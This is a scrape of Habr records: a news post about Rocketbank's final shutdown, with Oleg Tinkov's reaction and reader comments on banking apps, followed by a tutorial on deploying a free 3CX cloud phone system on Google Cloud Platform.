"Павло (TheShock)", "Василий (lasthero)", "Андрей Павлычев (Parnassus)", "Евгений Глазырин (glazs)", "Евгений Глазырин (glazs)", "Алексей Смирнов (fessmage)", "Андрей Павлычев (Parnassus)", "odiszapc", "odiszapc", "Andy One (SilenceAndy)", "ymik (ymik)", "Саша Парким (Parkim)", "{}", "Игорь Тарасов (TiGR)", "ѣ (xn__p2a)", "ѣ (xn__p2a)", "Илья Б. (EvilWolf)", "Kane", "Kane", "ShadowMaster", "ʌ̤̮ (lashtal)", "Kane", "ShadowMaster", "Kane", "ShadowMaster", "Kane", "Kane", "Павло (TheShock)", "Иван (VL87)", "ra_007 (ra_007)", "ra_007 (ra_007)" ], "children": [ [ 3324831, 3324848, 3324858, 3324887 ], [], [ 3324855 ], [ 3324928 ], [], [ 3324892, 3324967 ], [ 3324908 ], [ 3326528 ], [ 3324910 ], [ 3324909 ], [ 3324898 ], [ 3324925, 3324951, 3326046 ], [], [ 3324934 ], [], [], [], [ 3324938, 3324995, 3325707 ], [ 3324978 ], [], [], [], [], [ 3324992 ], [], [], [ 3327803 ], [], [], [], [ 3325005 ], [], [], [], [], [ 3326015 ], [ 3326145 ], [], [ 3326188 ], [ 3326246 ], [ 3326283 ], [ 3326346 ], [ 3326354 ], [], [], [], [ 3327826 ], [] ] }
538,000
ru
https://habr.com/ru/post/538000/
«Рокетбанк» закрылся окончательно
«Рокетбанк» опубликовал на своей странице ВК прощальное сообщение, в котором подводит итоги своей восьмилетней деятельности и окончательно прощается с клиентами: «Всё началось в 2013-м с идеи сделать банк с человеческим лицом. А дальше вы знаете: служба поддержки, которая сразу полюбилась клиентам, удобное приложение с огромным количеством фич и уникальных продуктов, веб-банк, собственный мерч, разработка игр, самые живые соцсети во всём интернете и самые преданные клиенты», — вспоминают они. > «Мы разыграли тысячи пар Рокетносков, футболок из Хипстериады, сотни Рокетпледов, десятки айфонов, макбуков, приставок, поездок на фестивали и кучу других призов. Была Тесла. И даже спутник. Это было классное время, полное любви, творчества и безумия. > > Были взлёты и падения. А потом опять взлёты. И падения... И снова взлёты! Ну, вы поняли. > ⠀ > Мы росли и старались не потерять главное — персональный подход к клиенту. Заботились о вас, всегда помогали выбрать кино или сериал, если стало грустно пятничным вечером. Смотрели фотки ваших питомцев и умилялись всем офисом. Скидывали мемы и даже отвечали на банковские вопросы. Мы делали всё и немножко больше. > ⠀ > И вот, мы закрываемся. Теперь окончательно. > ⠀ > Спасибо, что поддерживали, верили, вдохновляли и оставались с нами до последнего. Вы — лучшие в мире клиенты. Будем скучать!» «Рокетбанк» основали в 2013 году четыре молодых серийных предпринимателя: Виктор Лысенко, Олег Козырев, Алексей Колесников и Михаил Провизион. На тот момент все операции с деньгами клиентов проводились на инфраструктуре партнёрского банка «Интеркоммерц». После отзыва у него лицензии в 2016 году сервис был куплен банком «ФК Открытие» вместе с «Точкой», бывшим Банком-24 для малого и среднего бизнеса. Все четыре основателя продали свои доли ещё до перехода под крышу «Открытия». В свою очередь, «Открытие» в августе 2017-го подвергся процедуре санации (финансового оздоровления) Центробанком. В 2017 году банк был продан компании Qiwi. После этого было запущено новое приложение с хранилищем документов и началась работа с самозанятыми. В последние годы банк работал под девизом «Простой банк для самозанятых». Сервис автоматизации работы самозанятых в банке считали «важнейшей и наиболее многообещающей инновацией». После нескольких лет убытков в августе 2019 года Qiwi было принято решение о продаже. Но покупателя не нашлось, хотя Олег Тиньков предлагал за него 1 рубль. Олег Тиньков ранее критиковал нежизнеспособную бизнес-модель «Рокетбанка»: «Для меня они как дети малые, я им помогаю», — говорил он. RIP P. S. Основатель банка «Тинькофф» прокомментировал прощальный пост «Рокетбанка» в Instagram: «Облизывать клиента и постить мемы на конкурентов — это ещё не бизнес. Надеюсь, вы многому научились и с „Кухней“ будет уже бизнес, а не смузи... То, что они банкроты, я знал четыре года назад. Я тут пожелал удачи „Кухне на районе“, помянул „Рокет“ и пригласил всех клиентов к нам».
<div xmlns="http://www.w3.org/1999/xhtml"><img src="https://habrastorage.org/r/w780q1/getpro/habr/post_images/4a8/74f/fa1/4a874ffa14f0c858aac2ded9f3d04da4.jpg" data-src="https://habrastorage.org/getpro/habr/post_images/4a8/74f/fa1/4a874ffa14f0c858aac2ded9f3d04da4.jpg" data-blurred="true"/><br/> <br/> <a href="https://rocketbank.ru/" rel="nofollow noopener noreferrer">«Рокетбанк»</a> опубликовал на своей странице ВК <a href="https://vk.com/wall-54384231_252771" rel="nofollow noopener noreferrer">прощальное сообщение</a>, в котором подводит итоги своей восьмилетней деятельности и окончательно прощается с клиентами: «Всё началось в 2013-м с идеи сделать банк с человеческим лицом. А дальше вы знаете: служба поддержки, которая сразу полюбилась клиентам, удобное приложение с огромным количеством фич и уникальных продуктов, веб-банк, собственный мерч, разработка игр, самые живые соцсети во всём интернете и самые преданные клиенты», — вспоминают они.<br/> <a name="habracut"></a><br/> <blockquote>«Мы разыграли тысячи пар Рокетносков, футболок из Хипстериады, сотни Рокетпледов, десятки айфонов, макбуков, приставок, поездок на фестивали и кучу других призов. Была Тесла. И даже спутник. Это было классное время, полное любви, творчества и безумия. <br/> <br/> Были взлёты и падения. А потом опять взлёты. И падения… И снова взлёты! Ну, вы поняли.<br/> ⠀<br/> Мы росли и старались не потерять главное — персональный подход к клиенту. Заботились о вас, всегда помогали выбрать кино или сериал, если стало грустно пятничным вечером. Смотрели фотки ваших питомцев и умилялись всем офисом. Скидывали мемы и даже отвечали на банковские вопросы. Мы делали всё и немножко больше.<br/> ⠀<br/> И вот, мы закрываемся. Теперь окончательно.<br/> ⠀<br/> Спасибо, что поддерживали, верили, вдохновляли и оставались с нами до последнего. Вы — лучшие в мире клиенты. Будем скучать!»</blockquote><br/> «Рокетбанк» основали в 2013 году четыре молодых серийных предпринимателя: Виктор Лысенко, Олег Козырев, Алексей Колесников и Михаил Провизион. На тот момент все операции с деньгами клиентов проводились на инфраструктуре партнёрского банка «Интеркоммерц». После отзыва у него лицензии в 2016 году сервис был куплен банком «ФК Открытие» вместе с «Точкой», бывшим Банком-24 для малого и среднего бизнеса. Все четыре основателя <a href="https://secretmag.ru/cases/interview/viktor-lysenko-roketbank.htm" rel="nofollow noopener noreferrer">продали свои доли</a> ещё до перехода под крышу «Открытия».<br/> <br/> В свою очередь, «Открытие» в августе 2017-го подвергся процедуре санации (финансового оздоровления) Центробанком. В 2017 году банк был продан компании Qiwi. После этого было запущено новое приложение с хранилищем документов и началась работа с самозанятыми. <br/> <br/> В последние годы банк работал под девизом «Простой банк для самозанятых». Сервис автоматизации работы самозанятых в банке <a href="https://vc.ru/qiwi/156186-roketbank-chto-proishodit-s-prostym-bankom-dlya-samozanyatyh-i-pochemu-v-qiwi-vzyali-kurs-na-b2b2c" rel="nofollow noopener noreferrer">считали</a> «важнейшей и наиболее многообещающей инновацией».<br/> <br/> После нескольких лет убытков в августе 2019 года Qiwi было принято решение о продаже. Но покупателя не нашлось, хотя Олег Тиньков <a href="https://habr.com/ru/news/t/294808/">предлагал за него 1 рубль</a>.<br/> <br/> Олег Тиньков <a href="https://habr.com/ru/news/t/493916/">ранее критиковал</a> нежизнеспособную бизнес-модель «Рокетбанка»: «Для меня они как дети малые, я им помогаю», — говорил он.<br/> <br/> RIP<br/> <br/> P. S. Основатель банка «Тинькофф» <a href="https://www.instagram.com/p/CKMet0xpjJI/?igshid=limhgz6jnoye" rel="nofollow noopener noreferrer">прокомментировал</a> прощальный пост «Рокетбанка» в Instagram: «Облизывать клиента и постить мемы на конкурентов — это ещё не бизнес. Надеюсь, вы многому научились и с „Кухней“ будет уже бизнес, а не смузи… То, что они банкроты, я знал четыре года назад. Я тут пожелал удачи „Кухне на районе“, помянул „Рокет“ и пригласил всех клиентов к нам».</div>
Анатолий Ализар (alizar)
null
null
<img src="https://habrastorage.org/getpro/habr/post_images/4a8/74f/fa1/4a874ffa14f0c858aac2ded9f3d04da4.jpg"><br> <br> <a href="https://rocketbank.ru/" rel="nofollow noopener noreferrer">«Рокетбанк»</a> опубликовал на своей странице ВК <a href="https://vk.com/wall-54384231_252771" rel="nofollow noopener noreferrer">прощальное сообщение</a>, в котором подводит итоги своей восьмилетней деятельности и окончательно прощается с клиентами: «Всё началось в 2013-м с идеи сделать банк с человеческим лицом. А дальше вы знаете: служба поддержки, которая сразу полюбилась клиентам, удобное приложение с огромным количеством фич и уникальных продуктов, веб-банк, собственный мерч, разработка игр, самые живые соцсети во всём интернете и самые преданные клиенты», — вспоминают они.<br>
«Рокетбанк» опубликовал на своей странице ВК прощальное сообщение, в котором подводит итоги своей восьмилетней деятельности и окончательно прощается с клиентами: «Всё началось в 2013-м с идеи сделать банк с человеческим лицом. А дальше вы знаете: служба поддержки, которая сразу полюбилась клиентам, удобное приложение с огромным количеством фич и уникальных продуктов, веб-банк, собственный мерч, разработка игр, самые живые соцсети во всём интернете и самые преданные клиенты», — вспоминают они.
news
1,611,031,245
{ "commentsCount": 26, "favoritesCount": 4, "readingCount": 17475, "score": 16, "votesCount": 20, "votesCountPlus": 18, "votesCountMinus": 2 }
[]
[ "business_models", "finance" ]
[ "management", "popsci" ]
[ "Рокетбанк", "банкротство" ]
2
null
null
{ "id": [ 22560614, 22560618, 22560646, 22560678, 22560722, 22560742, 22560768, 22560776, 22560792, 22560918, 22560920, 22561044, 22561070, 22561080, 22561148, 22561154, 22561544, 22561820, 22562846, 22564886, 22565252, 22566242, 22567624, 22570498, 22570524, 22570558 ], "parent_id": [ null, 22560614, 22560618, 22560614, null, 22560646, 22560646, 22560618, null, null, null, null, 22560920, 22560792, 22560614, 22560618, 22561148, null, 22560920, 22561544, 22564886, 22561080, 22560776, 22565252, 22560742, 22567624 ], "level": [ 0, 1, 2, 1, 0, 3, 3, 2, 0, 0, 0, 0, 1, 1, 1, 2, 2, 0, 1, 3, 4, 2, 3, 5, 4, 4 ], "time_published": [ 1611033647, 1611033948, 1611035019, 1611035712, 1611036776, 1611037098, 1611037445, 1611037525, 1611037677, 1611039566, 1611039583, 1611040714, 1611040834, 1611040951, 1611041613, 1611041717, 1611045472, 1611047933, 1611056511, 1611078096, 1611083287, 1611112590, 1611136968, 1611169747, 1611170245, 1611171269 ], "score": [ 6, 0, 0, 0, 1, 1, 1, 11, 0, 2, 0, 1, 2, 1, 0, 2, 0, 0, -2, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 6, 2, 0, 0, 1, 1, 5, 11, 0, 2, 0, 1, 2, 1, 0, 2, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Жаль их, конечно. Приложение было одним из самых удобных. Одна возможность добавить комментарий к каждой своей операции и потом найти их поиском чего стоила. Или то, что при открытии приложения отображалось без прокрутки штук 5 последних операций плюс балансы всех карт. Приложению Тинькофф по удобству до них как до Луны. </p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Не согласен, тиньков постепенно подтягиваются до уровня того, что было в рокете полтора года назад :-)</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Не знаю, мне приложение альфы кажется удобнее во многих аспектах тинькова. Но удобство от рокета никто не переплюнет. Старая рокет-карточка до сих пор висит на холодильнике. </p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Обидно, хорошие вещи делали, чуточку не дотянули до действительно серьезного количества клиентов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Пробовал в свое время пользоваться Альфой, отказался как раз из-за неудобного приложения. Самый треш из того, что запомнилось: невозможно узнать остаток лимита на бесплатные переводы. Техподдердка написала «вы посмотрите в ленте все переводы за период и на калькуляторе просуммируйте». После этого выкинул их карту и больше пользоваться не хочу.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>приложение то может и удобное, но к нему альфа банк в довесок идет</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Вот в упор не понимаю зачем мне в банковском приложении сториз, рестораны и прочий маркетинговый треш как у Сбера и Тинькофф.<br/>\r\nВ мобильном банке важно чтобы было быстро и удобный поиск. Но кажется все про это забыли.<br/>\r\nНовая версия аппы Рокета с эмодзями тоже конечно стала весить раза в три больше и следовательно дольше запускаться.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Приложение Рокета было удобным, но совокупные чистые потери для Qiwi в сегменте «Рокетбанка» по итогам 2020 г. приблизились к 1,5 млрд руб, убытки из-за недостатка инвесторов и повышенных расходов на привлечение клиентов. Поэтому и продать его не получилось. Логично, что в итоге пришлось просто закрыть проект</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Что же… Гидропоника не помогла, носки кончились, стол, сделанный своими руками из цельного бревна пошёл на дрова.<br/>\r\nО том, что так будет было понятно ещё в году так 17-ом. Игры в Agile и подход \"мы будем креативить, пить кофе в релакс зоне, курить кальян и слать вам мемасики, а всю бухгалтерию будет вести серьёзный банк за нашей спиной\" ещё ни кого до добра не довели. </p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Жаль, но удобство интерфейса и скорость работы приложения — не те факторы, что влияют на жизнеспособность бизнес-модели…<br/>\r\n<br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так дайте мне скучное приложение для работы с моими деньгами.<br/>\r\nПока же я вижу в каждом слове, каждой форме дизайна интерфейса настойчивое «возьми, возьми же кредит у нас!»</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Убытки из-за нежизнеспособной бизнес-модели. Собственно, ожидаемый исход.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Мне больше всего в их приложении нравилась, внезапно, поддержка: можно было про любую неопределившуюся операцию написать, что это за магазин, и почти сразу же эта операция красиво отображалась, иногда с отрисованной с нуля иконкой (ну правда на эту роскошь уже нужно было пару дней), потому что в онлайне магазин не представлен.</p><br/>\r\n<p>Поддержка Тинькоффа в такой ситуации отвечает, что повлиять на это у них нет возможности.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Куда-то вниз они подтягиваются.<br/>\r\nЧего только стоит лента со сториз, которые никак не отключить. В банковском приложении.<br/>\r\nПосле обновления добавили попап-баннеры на весь экран (потом убрали, кажется, но несколько раз даже до ввода пина показывали), рекламу инвесткопилки в список карт, рекламу олега в список операций по карте. Куча меню с сервисами, промо, кешбеками и прочим мусором, который иногда желтые баджики непрочитанного показывает.<br/>\r\nПоддержка никакущая, попасть на оператора порой непросто теперь.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Ну и в целом более человечной поддержки я ещё не видел. Не знаю, с каким ещё банком можно было бы подробно обсудить, какой стороной лучше всего прикладывать карту к терминалу, и в процессе получить ещё бесплатно перевыпуск карты, потому что моя, оказывается, была из какой-то партии от временного поставщика и у неё не хватало фирменной оранжевой каёмки.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Лол, а я думал это пару лет назад уже произошло еще после истории с «Открытием». А так реально жалко. Друг в конкурсе у них плойку выиграл. Потом чуть Яблоко не выиграл. Плюс Сыендук. Плюс одни из первых кэшбэки на магазы и много другого. Ушла эпоха. Монополия вновь вытеснила</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Оказывается клевые фичи сами по себе денег не приносят.</blockquote>Клёвые фичи могут принести деньги, если эти клёвые фичи смогут убедить клиентов, понимающих смысл фразы «голосовать рублём», что вы хороший банк. А здесь, что мы имеем на практике?<br/>\r\n<br/>\r\nПриложение для андроида с огромным количеством фич? И со скайнетом, наверное, тоже? Но если я вообще выбираю банк по принципу хорошести, то у меня, скорее всего, вообще нет андроида, в крайнем случае — есть, но ничего важного я ему не доверяю, так как не хочу усиливать власть гугла над миром. После последнего года это дошло даже до тех, кто раньше пребывал в счастливом неведении. Вот сделали бы вы кучу фич в своём интернет-банке на сайте, а ещё лучше сделали бы его работоспособным без javascript — может и набрали бы клиентов благодаря своей хорошести. А так — сплошное лицемерие, никто на это не покупается.<br/>\r\n<br/>\r\nРозыгрыш макбуков, которые после последних обновлений сами решают, какие программы я могу запускать, а какие нет, вместо ноутов с линуксом или хотя бы с легко устанавливаемым линуксом — туда же.<br/>\r\n<br/>\r\nНаконец, что же вы, все из себя такие хорошие, сотрудничаете с qiwi? Клиенты, у которых память не такая короткая (а те, у кого короткая, повторюсь, не особо будут смотреть на хорошесть и репутацию при выборе банка), помнят qiwi прежде всего как компанию с грабительскими комиссиями на оплату мобильной связи и часто — с открытым враньём о размере этой комисии (в лучшем случае — полным отсутствием информации о размере этой комиссии до оплаты).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Это все звучит очень мило, но по факту, получается, что вы обратились в поддержку с проблемой плохо работающей бесконтактной оплаты, в чате вам признали факт брака и предложили перевыпуск? :)</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Она не то чтобы плохо работала: просто с некоторыми терминалами нужно было чуть больше мучений, чем просто поднести карту. Я хотел выяснить, как лучше прикладывать карту, чтобы уменьшить матожидание времени срабатывания бесконтактной оплаты :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Увы. Даже кредитные продукты они почему то попытались не сделать приносящими процентную прибыль, а непонятные займы до зарплаты у зарплатные клиентов. Так-то могли за счёт аудитории уже в 18-19 годах генерировать прибыль на кредитах и расрочках. Ну и да, корпоративный кальян- очень \"прибыльная\" статья конечно</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Моды Грефбанка никто не отменял :) </p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Ну, получается, что плохо работала, раз вам предложили замену)</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>невозможно узнать остаток лимита на бесплатные переводы</blockquote><p>сейчас в приложении это есть.</p><br/>\r\n<blockquote>Не знаю, мне приложение альфы кажется удобнее во многих аспектах тинькова. Но удобство от рокета никто не переплюнет. Старая рокет-карточка до сих пор висит на холодильнике.</blockquote><p><a href=\"https://habr.com/ru/users/ikar49/\" class=\"user_link\">IkaR49</a><br/>\r\nя с Альфой давно, уже больше 10 лет. И пока они меня не разочаровывали. Хотя — да… Был момент — я очень не хотел начинать пользоваться мобильным клиентом. А остаться на интернет-банке в браузере. Пришлось прогнуться. Жалею ли я? Ну, нет. В целом, действительно мобильное приложение развивается быстрее, чем инет-банк в виде сайта.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Ну что-то моды банковских приложений ставить имхо палево :/</p></div>" ], "message_markdown": [ "Жаль их, конечно. Приложение было одним из самых удобных. Одна возможность добавить комментарий к каждой своей операции и потом найти их поиском чего стоила. Или то, что при открытии приложения отображалось без прокрутки штук 5 последних операций плюс балансы всех карт. Приложению Тинькофф по удобству до них как до Луны.", "Не согласен, тиньков постепенно подтягиваются до уровня того, что было в рокете полтора года назад :-)", "Не знаю, мне приложение альфы кажется удобнее во многих аспектах тинькова. Но удобство от рокета никто не переплюнет. Старая рокет-карточка до сих пор висит на холодильнике.", "UFO just landed and posted this here", "Обидно, хорошие вещи делали, чуточку не дотянули до действительно серьезного количества клиентов.", "Пробовал в свое время пользоваться Альфой, отказался как раз из-за неудобного приложения. Самый треш из того, что запомнилось: невозможно узнать остаток лимита на бесплатные переводы. Техподдердка написала «вы посмотрите в ленте все переводы за период и на калькуляторе просуммируйте». После этого выкинул их карту и больше пользоваться не хочу.", "приложение то может и удобное, но к нему альфа банк в довесок идет", "Вот в упор не понимаю зачем мне в банковском приложении сториз, рестораны и прочий маркетинговый треш как у Сбера и Тинькофф.\nВ мобильном банке важно чтобы было быстро и удобный поиск. Но кажется все про это забыли.\nНовая версия аппы Рокета с эмодзями тоже конечно стала весить раза в три больше и следовательно дольше запускаться.", "Приложение Рокета было удобным, но совокупные чистые потери для Qiwi в сегменте «Рокетбанка» по итогам 2020 г. приблизились к 1,5 млрд руб, убытки из-за недостатка инвесторов и повышенных расходов на привлечение клиентов. Поэтому и продать его не получилось. Логично, что в итоге пришлось просто закрыть проект", "Что же... Гидропоника не помогла, носки кончились, стол, сделанный своими руками из цельного бревна пошёл на дрова.\nО том, что так будет было понятно ещё в году так 17-ом. Игры в Agile и подход \"мы будем креативить, пить кофе в релакс зоне, курить кальян и слать вам мемасики, а всю бухгалтерию будет вести серьёзный банк за нашей спиной\" ещё ни кого до добра не довели.", "UFO just landed and posted this here", "Жаль, но удобство интерфейса и скорость работы приложения — не те факторы, что влияют на жизнеспособность бизнес-модели...", "Так дайте мне скучное приложение для работы с моими деньгами.\nПока же я вижу в каждом слове, каждой форме дизайна интерфейса настойчивое «возьми, возьми же кредит у нас!»", "Убытки из-за нежизнеспособной бизнес-модели. Собственно, ожидаемый исход.", "Мне больше всего в их приложении нравилась, внезапно, поддержка: можно было про любую неопределившуюся операцию написать, что это за магазин, и почти сразу же эта операция красиво отображалась, иногда с отрисованной с нуля иконкой (ну правда на эту роскошь уже нужно было пару дней), потому что в онлайне магазин не представлен.\nПоддержка Тинькоффа в такой ситуации отвечает, что повлиять на это у них нет возможности.", "Куда-то вниз они подтягиваются.\nЧего только стоит лента со сториз, которые никак не отключить. В банковском приложении.\nПосле обновления добавили попап-баннеры на весь экран (потом убрали, кажется, но несколько раз даже до ввода пина показывали), рекламу инвесткопилки в список карт, рекламу олега в список операций по карте. Куча меню с сервисами, промо, кешбеками и прочим мусором, который иногда желтые баджики непрочитанного показывает.\nПоддержка никакущая, попасть на оператора порой непросто теперь.", "Ну и в целом более человечной поддержки я ещё не видел. Не знаю, с каким ещё банком можно было бы подробно обсудить, какой стороной лучше всего прикладывать карту к терминалу, и в процессе получить ещё бесплатно перевыпуск карты, потому что моя, оказывается, была из какой-то партии от временного поставщика и у неё не хватало фирменной оранжевой каёмки.", "Лол, а я думал это пару лет назад уже произошло еще после истории с «Открытием». А так реально жалко. Друг в конкурсе у них плойку выиграл. Потом чуть Яблоко не выиграл. Плюс Сыендук. Плюс одни из первых кэшбэки на магазы и много другого. Ушла эпоха. Монополия вновь вытеснила", "> Оказывается клевые фичи сами по себе денег не приносят.\nКлёвые фичи могут принести деньги, если эти клёвые фичи смогут убедить клиентов, понимающих смысл фразы «голосовать рублём», что вы хороший банк. А здесь, что мы имеем на практике?\nПриложение для андроида с огромным количеством фич? И со скайнетом, наверное, тоже? Но если я вообще выбираю банк по принципу хорошести, то у меня, скорее всего, вообще нет андроида, в крайнем случае — есть, но ничего важного я ему не доверяю, так как не хочу усиливать власть гугла над миром. После последнего года это дошло даже до тех, кто раньше пребывал в счастливом неведении. Вот сделали бы вы кучу фич в своём интернет-банке на сайте, а ещё лучше сделали бы его работоспособным без javascript — может и набрали бы клиентов благодаря своей хорошести. А так — сплошное лицемерие, никто на это не покупается.\nРозыгрыш макбуков, которые после последних обновлений сами решают, какие программы я могу запускать, а какие нет, вместо ноутов с линуксом или хотя бы с легко устанавливаемым линуксом — туда же.\nНаконец, что же вы, все из себя такие хорошие, сотрудничаете с qiwi? Клиенты, у которых память не такая короткая (а те, у кого короткая, повторюсь, не особо будут смотреть на хорошесть и репутацию при выборе банка), помнят qiwi прежде всего как компанию с грабительскими комиссиями на оплату мобильной связи и часто — с открытым враньём о размере этой комисии (в лучшем случае — полным отсутствием информации о размере этой комиссии до оплаты).", "Это все звучит очень мило, но по факту, получается, что вы обратились в поддержку с проблемой плохо работающей бесконтактной оплаты, в чате вам признали факт брака и предложили перевыпуск? :)", "Она не то чтобы плохо работала: просто с некоторыми терминалами нужно было чуть больше мучений, чем просто поднести карту. Я хотел выяснить, как лучше прикладывать карту, чтобы уменьшить матожидание времени срабатывания бесконтактной оплаты :)", "Увы. Даже кредитные продукты они почему то попытались не сделать приносящими процентную прибыль, а непонятные займы до зарплаты у зарплатные клиентов. Так-то могли за счёт аудитории уже в 18-19 годах генерировать прибыль на кредитах и расрочках. Ну и да, корпоративный кальян- очень \"прибыльная\" статья конечно", "Моды Грефбанка никто не отменял :)", "Ну, получается, что плохо работала, раз вам предложили замену)", "> невозможно узнать остаток лимита на бесплатные переводы\nсейчас в приложении это есть.\n> Не знаю, мне приложение альфы кажется удобнее во многих аспектах тинькова. Но удобство от рокета никто не переплюнет. Старая рокет-карточка до сих пор висит на холодильнике.\nIkaR49\nя с Альфой давно, уже больше 10 лет. И пока они меня не разочаровывали. Хотя — да... Был момент — я очень не хотел начинать пользоваться мобильным клиентом. А остаться на интернет-банке в браузере. Пришлось прогнуться. Жалею ли я? Ну, нет. В целом, действительно мобильное приложение развивается быстрее, чем инет-банк в виде сайта.", "Ну что-то моды банковских приложений ставить имхо палево :/" ], "author": [ "DaemonGloom", "Терешков Евгений (evg_krsk)", "Павел Левченко (IkaR49)", "{}", "Вячеслав (Kwisatz)", "Александр (freestyler8)", "Владислав (vlad_egrv)", "Уксусов Кирилл (UksusoFF)", "iiwabor", "Тимофей (Tokeda)", "{}", "Михаил Корнилов (mihmig)", "Михаил Корнилов (mihmig)", "Malignus", "Артем Лещев (matshch)", "gudvinr", "Артем Лещев (matshch)", "Леонтий (Humpinny)", "citreraydo", "sourbarberry", "Артем Лещев (matshch)", "noob001", "ALLHVSPGH", "sourbarberry", "gecube", "Уксусов Кирилл (UksusoFF)" ], "children": [ [ 22560618, 22560678, 22561148 ], [ 22560646, 22560776, 22561154 ], [ 22560742, 22560768 ], [], [], [ 22570524 ], [], [ 22567624 ], [ 22561080 ], [], [ 22561070, 22562846 ], [], [], [ 22566242 ], [ 22561544 ], [], [ 22564886 ], [], [], [ 22565252 ], [ 22570498 ], [], [ 22570558 ], [], [], [] ] }
340,220
ru
https://habr.com/ru/post/340220/
3CX PBX Express: бесплатная АТС в облаке Google на 1 год
Сегодня мы поговорим о том, как за 15 минут самостоятельно создать бесплатную облачную АТС 3CX на 8 одновременных вызовов в облаке Google. Однако, если раньше размещение в облаке было платным, то теперь появилась возможность использовать инфраструктуру Google бесплатно в течении 12 месяцев! Все, что нам потребуется — аккаунт Google и платежная карта. Сразу отмечу, что карта нужна только для подтверждения того, что вы не робот. После завершения 12 месяцев, средства с нее также списываться не будут до вашего решения. ## Создание проекта Google Cloud Platform Зайдите в консоль Google Cloud Platform с вашими учетными данными Google и примите условия использования сервиса. Затем укажите информацию о себе и данные платежной карты. После этого пробный период будет активирован. Далее вам будет предложено создать новый проект или использовать уже имеющийся. Обратите внимание на его название. Создав проект, перейдите раздел Compute Engine — Экземпляры VM. Здесь создаются виртуальные машины разной емкости. Не создавайте экземпляр, а просто просмотрите предлагаемые опции. В частности, обратите внимание на мощность и стоимость виртуальных машин. Для небольшой АТС на 8 вызовов вполне подойдет «небольшая машина». Ее стоимость зависит от места размещения. На этом подготовка Google Cloud Console завершена. Продолжим создание АТС в сервисе PBX Express. ## Активация АТС в сервисе PBX Express Перейдите в интерфейс сервиса 3CX PBX Express, укажите имя создаваемого сервера 3CX и доменную зону, в которой он будет расположен. Укажите учетные данные администратора АТС. На e-mail администратора будут приходить все уведомления системы. Выберите длину внутреннего (добавочного) номера пользователя. Будьте внимательны — в дальнейшем ее изменить нельзя без переустановки системы! Для небольшой компании рекомендуется длина не более 2-3 цифр. Укажите место расположения, часовой пояс и язык системных голосовых сообщений АТС. Информация о стране и часовом поясе используется, в том числе, для дополнительной безопасности системы и автоматической настройки аппаратных IP-телефонов. Теперь добавьте пользователей АТС. Я создал одного пользователя с номером 200, однако вы можете указать всех пользователей вашей организации. На следующем этапе укажите, что используете собственный аккаунт Google. Появится окно авторизации, в котором выберите тот аккаунт, под которым создавался проект Google Cloud Platform. После этого в интерфейсе мастера появится выбор созданного ранее проекта Google Cloud Platform, места расположения и мощности экземпляра АТС. Я выбрал небольшую виртуальную машину, которой вполне достаточно для нагрузки в 8 одновременных вызовов. На финальном укажите регистрационные данные, на которые будет сгенерирована лицензия. Указывайте реальную информацию о вас и организации, поскольку она затем верифицируется компанией 3CX. В случае сомнений сотрудника 3CX в правдоподобности указанных сведений, ваша АТС утратит возможность автоматического обновления. Нажав кнопку Finish, вы получите на указанный e-mail код верификации, который необходимо вставить в появившееся окно. Этот код связывает созданную конфигурацию 3CX PBX Express с проектом Google Cloud Platform. АТС будет полностью готова примерно через 10 минут. Вы увидите это как в интерфейсе мастера, так и в полученном e-mail с параметрами подключения. Каждому добавленному пользователю также придет e-mail с файлом автоматической конфигурации программных клиентов 3CX для Windows, Mac, Android и iPhone, а также URL доступа в веб-клиент. В интерфейсе Google Cloud Platform появится автоматически созданный экземпляр виртуальном машины. Если вы партнер 3CX, аналогично можно создать и другие экземпляры бесплатной АТС для ваших клиентов. Однако тут существуют некоторые ограничения, о которых мы поговорим ниже. ## Ограничения бесплатной системы В заключении, конечно, стоит сказать об ограничениях бесплатной АТС, созданной в сервисе PBX Express. Бесплатная АТС называется PBX Edition и имеет несколько урезанный набор возможностей, указанный здесь. По истечении года использования вам будет предложено продлить подписку на обновления или перейти на коммерческую версию системы. Бесплатный аккаунт (и экземпляр виртуальной машины) Google Cloud Platform может иметь только один статический IP адрес. С другой стороны, такой аккаунт использует до 8 т.н. «эфемерных» (динамических) публичных IP адресов. Поэтому, если вы планируете разместить в вашем аккаунте несколько экземпляров АТС 3CX, используйте «эфемерные» IP адреса. Также рекомендую обратить внимание на «всегда бесплатные» предложения Google. В частности, по этой программе предлагается неограниченное бесплатное использование системы небольшой емкости: 1 экземпляр f1-micro, размещенный в США (кроме Северной Вирджинии) 30 GB диск и 5 GB снапшот 1 GB исходящего трафика в месяц во все регионы (кроме Китая и Австралии) Такая конфигурация вполне подойдет для нужд небольшого офиса.
